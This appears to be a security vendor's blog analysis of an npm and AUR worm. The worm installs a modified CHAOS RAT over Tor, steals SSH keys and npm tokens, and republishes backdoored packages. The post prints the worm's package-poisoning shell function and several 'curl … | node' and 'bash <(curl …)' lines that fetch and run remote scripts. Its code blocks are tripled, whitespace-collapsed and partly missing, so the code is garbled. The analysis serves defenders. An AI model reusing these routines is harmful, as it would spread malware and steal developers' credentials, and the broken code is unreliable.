Blankets, worms, and RATs: New worm targets NPM and AUR
Ellie Jevon
29 Sept 2026
Real World Attacks
Blankets, worms, and RATs: New worm targets NPM and AUR
Ellie Jevon
29 Sept 2026
No headings found in content selector: .toc-content
On 29th September the npm account dirtyblanket published nine packages in 33 minutes. 8 of them are copies of the legitimate package express@5.2.1, and one is a copy of react@19.3.0 , the only difference is a preinstall hook which downloads the payload. This is another example of malicious packages pretending to be legitimate packages in order to trick users/AI agents into downloading and installing them.
That script is a staged Linux worm hosted on Codeberg (hellscripter/install-scripts) and mirrored through the Wayback Machine.
What it does
Installs a modified build of the open-source CHAOS RAT as a fake systemd "font" service, talking to a Tor hidden service.
RAT (remote access trojan), is a type of malware that allows the hacker to have control of the infected device.
Tor (the onion router), is a browser designed to protect privacy by providing users with complete anonymity.
Steals every SSH private key on the host and uses them against every host in known_hosts , including as root.
Backdoors every AUR package those keys can push to.
AUR packages are community created packages used for Arch linux
Backdoors and republishes every npm package on disk, using every .npmrc token it finds.
CHAOS is an open source remote control tool (RAT), the attacker didn't use it as is, they made a couple of customisations. Firstly, renaming settings from plain english things like "server_Address" to random strings. This means scanners looking for the familiar settings won't identify it. Next they made it able to use Tor so it can reach the C2, the worm installs Tor on the infected device and then sets HTTP_PROXY to point at it. This causes the RAT's traffic to go through Tor.
This is an interesting attack for a few reasons:
The wayback machine has been used before but this worm is doing something slightly different, uploading the files to Codeberg, then creating snapshots, then pointing the malware at the snapshots.
Creating snapshots doesn't need a user account and removing the repo doesn't remove theses snapshots so its able to survive takedown attempts
web.archive.org is a trusted domain and therefore is allowed on many networks and wouldn't be flagged as malicious or suspicious behaviour.
The use of Tor isn't anything new here but the attacker modified CHAOS to be compatible and it also gets Tor running on the victim's device with or without root. This means there is no C2 domain to block and makes it near impossible to get taken down
Additionally with any malware using Tor, due to the nature of it, the traffic itself is not able to be inspected so this is a common network evasion technique.
The closest attack in terms of methods used is the Atomic Arch attack, in which attackers targeted orphaned AUR packages and pointed them at attacker-published npm packages.
Affected packages
All published by dirtyblanket (s7dwzxru4z@ooynib[.]com) using npm 12.1.0 and node 26.10.0. Each package has a single version.
Package
Version
Clone of
Published (UTC)
xeprews
5.2.1
express
2026-09-29 06:05:54
express-javascript
5.2.1
express
2026-09-29 06:09:16
express-nodejs
5.2.1
express
2026-09-29 06:12:06
react-nodejs
19.3.0
react
2026-09-29 06:12:36
exprdd
5.2.1
express
2026-09-29 06:31:51
exprrdd
5.2.1
express
2026-09-29 06:32:04
exptrdd
5.2.1
express
2026-09-29 06:35:15
exptred
5.2.1
express
2026-09-29 06:36:43
exptredd
5.2.1
express
2026-09-29 06:38:56
Timeline (UTC, 2026-09-29)
Time
Event
~02:59
CHAOS C2 JWT issued (inferred: the token expires 2027-09-29 02:59:00, assuming a 1-year lifetime)
05:05:20
Codeberg account hellscripter created
05:08
Repo hellscripter/install-scripts created
05:11 / 05:16
First commit 5149bfde (authored/committed): node.js, linux.sh, systemd-fontd, all pointing directly at Codeberg
05:22:10
Wayback captures linux.sh (first-commit version)
05:23:01
Wayback captures systemd-fontd (RAT binary)
05:24:36
Wayback captures node.js (first-commit version)
05:26:34
Commit a606c832, "use Web Archive": every URL is switched to web.archive.org/web/…"
06:05–06:38
Nine typosquat packages published to npm by dirtyblanket
Each file has exactly one Wayback capture, taken minutes before the scripts were changed to point at Wayback. This means that the payload stays up if Codeberg removes the malicious repo.
Technical analysis
Stage 0: npm preinstall hook
The packages are exact copies of the real ones. A diff against the official express and react-nodejs tarball shows only the name change and one added script:
Stage 1: node.js (Linux gate)
This is the archived (first-commit) version that a redirect-following curl receives. The live version on Codeberg is the same except that the URL goes through web.archive.org. There is a Windows branch, but it is commented out and uses placeholder URLs.
The whole script runs detached, with all input and output discarded:
Dependencies (as root): it installs Tor, SSH, git and npm.
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; thenuntil pacman -S--needed--noconfirm tor openssh gitnpm base-devel
dosleep1doneelif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
apt-get install -y tor openssh-client gitnpm build-essential
fi
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; thenuntil pacman -S--needed--noconfirm tor openssh gitnpm base-devel
dosleep1doneelif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
apt-get install -y tor openssh-client gitnpm build-essential
fi
if [ "$ID" = 'arch' ] || [ "$ID_LIKE" = 'arch' ]; thenuntil pacman -S--needed--noconfirm tor openssh gitnpm base-devel
dosleep1doneelif [ "$ID" = 'debian' ] || [ "$ID_LIKE" = 'debian' ]; then
apt-get install -y tor openssh-client gitnpm build-essential
fi
Persistence (root): it drops the RAT disguised as a systemd component, routes it through Tor, and makes the files immutable so they are harder to remove.
Persistence (unprivileged): it downloads the official Tor expert bundle into ~/.config/systemd/systemd-fontrenderd/ and runs it, plus the RAT as ~/.config/systemd/systemd-fontcached, as user services named systemd-fontrenderd.service and systemd-fontcached.service.
SSH key theft and lateral movement: it finds every OpenSSH private key on the box (including under WSL's /mnt/c/Users) and tries it against every host in known_hosts, both through the user's SSH config and as root.
AUR supply-chain poisoning: for each stolen key, it lists every AUR package the key can push to. For each one it adds a curl | bash line to the package's install hook and pushes the change, using the previous committer's name and email and a routine-looking commit message.
npm supply-chain poisoning: every package.json on the filesystem outside node_modules gets the hook added, a patch version bump, and a publish attempt with every npm config file on the host. The original package.json is then restored so the local change is hidden.
for _package in$(dirname /**/package.json | grep -v node_modules)do
_do_npm_update "$_package" &
done
...
_do_npm_update() {
cd"$1" || exit1
local _package_json_orig="$(mktemp -u)"cp-a package.json "$_package_json_orig"
local _preinstall="$(npm pkg get scripts.preinstall)"if [ -n"$_preinstall" ]; then
local _preinstall+=' & 'fi
local _preinstall+="curl $_node_script_url | node"npm pkg set scripts.preinstall="$_preinstall"npm version patch
for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"doexport NPM_CONFIG_USERCONFIG
npm publish &
done
wait
mv-f"$_package_json_orig"
for _package in$(dirname /**/package.json | grep -v node_modules)do
_do_npm_update "$_package" &
done
...
_do_npm_update() {
cd"$1" || exit1
local _package_json_orig="$(mktemp -u)"cp-a package.json "$_package_json_orig"
local _preinstall="$(npm pkg get scripts.preinstall)"if [ -n"$_preinstall" ]; then
local _preinstall+=' & 'fi
local _preinstall+="curl $_node_script_url | node"npm pkg set scripts.preinstall="$_preinstall"npm version patch
for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"doexport NPM_CONFIG_USERCONFIG
npm publish &
done
wait
mv-f"$_package_json_orig"
for _package in$(dirname /**/package.json | grep -v node_modules)do
_do_npm_update "$_package" &
done
...
_do_npm_update() {
cd"$1" || exit1
local _package_json_orig="$(mktemp -u)"cp-a package.json "$_package_json_orig"
local _preinstall="$(npm pkg get scripts.preinstall)"if [ -n"$_preinstall" ]; then
local _preinstall+=' & 'fi
local _preinstall+="curl $_node_script_url | node"npm pkg set scripts.preinstall="$_preinstall"npm version patch
for NPM_CONFIG_USERCONFIG in {/home/*,.,/mnt/c/Users/*,/root}/.npmrc "$PREFIX/etc/npmrc"doexport NPM_CONFIG_USERCONFIG
npm publish &
done
wait
mv-f"$_package_json_orig"
npm pkg get prints {} when there is no existing hook, and a JSON-quoted string when there is one. As a result, packages infected by the worm have a distinctive preinstall such as:
A stripped 64-bit Go ELF (7,581,959 bytes, Go 1.27.1, CGO enabled, -trimpath). Its embedded build info identifies it as the CHAOS client (github.com/tiagorlampert/CHAOS/client). The function table recovered from the binary includes:
Embedded C2 config. CHAOS embeds a base64-encoded JSON config. Upstream uses the keys server_address, port and token. This build uses random key names:
The JWT decodes to {"authorized":true,"exp":1822186740,"user":"default"}, which expires 2027-09-29 02:59:00 UTC. The .onion is a valid v3 address (checksum verified).
Tor patch. Upstream CHAOS builds its HTTP client with a custom transport that ignores proxy environment variables:
In this binary, the only code reference to net/http.ProxyFromEnvironment is inside client/app.New, which is where NewHttpClient() is inlined. The attacker added Proxy: http.ProxyFromEnvironment, so the RAT's HTTP traffic follows the HTTP_PROXY=socks5://127.0.0.1:9050 set in its service unit. Without this change the RAT could not reach its .onion C2.
Why it currently fails
Plain curl does not follow redirects. Every URL under https://web.archive.org/web/https://codeberg.org/... returns 302 with an empty body:
At the time of analysis the chain fails by default. Every hop uses curl without -L against Wayback URLs, which answer with a 302 redirect, so curl gets an empty body. That fails silently, and it is a one-character fix for the attacker. Any machine where curl follows redirects (for example location in ~/.curlrc) runs the worm.
npm: preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR: *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
with a commit "upgpkg: <pkgver>-<pkgrel>
npm: preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR: *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
with a commit "upgpkg: <pkgver>-<pkgrel>
npm: preinstall contains "& curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node"
AUR: *.install contains "bash <(curl 'https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/linux.sh')"
with a commit "upgpkg: <pkgver>-<pkgrel>
Remediation
Anyone who installed one of these packages:
Check for the host artifacts above.
The files are immutable, so run chattr -i on them before systemctl disable --now and deleting them.
Assume that all SSH private keys and npm tokens on the host are compromised and rotate them.
Check the hosts in its known_hosts for the same artifacts.
Package maintainers:
Look for unexpected patch releases on npm, and unexpected upgpkg: commits on the AUR, made on or after 2026-09-29.
Registries and hosts:
Report dirtyblanket to npm, hellscripter to Codeberg, the three Wayback snapshots to the Internet Archive, and the AUR poisoning technique to the AUR team.
SHARE
Subscribe Now.
Subscribe Now.
Subscribe Now.
Ossprey helps you understand what code is trying to do, before you trust it.
Ossprey helps you understand what code is trying to do, before you trust it.